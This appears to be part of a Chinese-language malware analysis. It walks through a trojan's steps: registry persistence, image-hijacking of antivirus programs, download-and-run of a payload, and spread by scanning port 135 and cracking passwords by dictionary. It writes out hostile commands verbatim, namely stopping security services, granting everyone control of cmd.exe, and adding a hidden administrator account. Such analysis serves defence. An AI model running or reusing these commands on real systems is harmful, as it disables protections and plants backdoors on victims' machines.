2.创建服务并开启来加载文件，使其随系统启动



HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunSoundMan SoundMan.exe

映像劫持大量程序,添加360Loader.exe 360Safe.exe 360tray.exe IceSword Iparmor.exe kmailmon.exe ras runiep

镜象劫持为"Debugger"="svchost.exe" 添加ctfmon.exe为"Debugger"="SoundMan.exe"

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options360Loader.exe

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options360Loader.exe Debugger "svchost.exe"

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options360Safe.exe

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options360Safe.exe Debugger "svchost.exe"

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options360tray.exe

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options360tray.exe Debugger "svchost.exe"

3.病毒生成文件中的网址由解密字符串得到

CA05MZGT.htm

gx[1].jpg

notepde[1].jpg



4.枚举进程 判断当前进程里是否有"fint2005.exe" "ehsniffer.exe" "iris.exe" 嗅探工具，不管有无都等待10分钟,连接网络



InternetOpenUrlA读取InternetReadFile http://xxxxxxxx.com/rc/1500/gx[1].txt里面的列表,下载http://xxxxxx.com/rc/1500/gx[1].jpg



到c:\windowssystem32vbb.exe运行



"cacls.exe C:WINDOWSsystem32cmd.exe /e /t /g everyone:F"给everyone用户组(就是所有人)对cmd.exe的完全控制,



cmd.exe /c net stop wscsvc&net stop sharedaccess&sc config sharedaccess start= disabled&sc config wscsvc



start= disabled&net stop KPfwSvc&net stop KWatchsvc&net stop McShield&net stop "Norton AntiVirus Server"



停止安全软件的服务。



5.搜索进程中是否含有kmailmon.exe kavstart.exe shstat.exe runiep.exe ras.exe MPG4C32.exe imsins.exe Iparmor.exe



360safe.exe 360tray.exe cacls.exe ccenter.exe 用TerminateProcess来结束



6."cmd.exe /c net user new1 12369 /add&

net user new1 12369&

net user new1 /active:yes&

net localgroup administrators /add

添加一个new1管理员帐号密码12369,将这些信息写入%windir%1.inf，然后调用rundll32.exe来修改Help and Support服务



C:WINDOWSsystem32interne.exe，并删除1.inf.关闭临时登陆用户new1



"HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList
ew1"添加建值为0，（1为开启）



不能创建删除用户"cmd.exe /c net user new1 /del"





7.访问"http://webipcha.cn/ip/ip.asp"获取当前外网IP，"cmd /c route print|find "Default Gateway: ">c:ip.txt"



获取网关地址到c:ip.txt，然后从文件重读出网关地址，删除文件。



8.判断当前进程有没有avp.exe 有了修改日期2001年7月15日



9.释放扫描器qoq.exe（Dotpot PortReady Ver1.6） 到%windir%/system32/下，扫描网关上下C段的所有135端口开放的主机，



记录到Por.aed，扫描外网C段上4个段位的ip ,"cmd.exe /c move "c:Por.aed" "%SystemRoot%system32Por.aed"&exit"



10.释放popo.exe到病毒运行当前目录读取Por.aed扫描出来的开135的IP地址 "cmd.exe /c start C:\popo.exe ip &exit"



（如cmd.exe /c start C:\popo.exe 192.1**.18.15 &exit 通过POPO.EXE进行扫字典密码破解）



11.扫描完毕删除qoq.exe, Por.aed, popo.exe
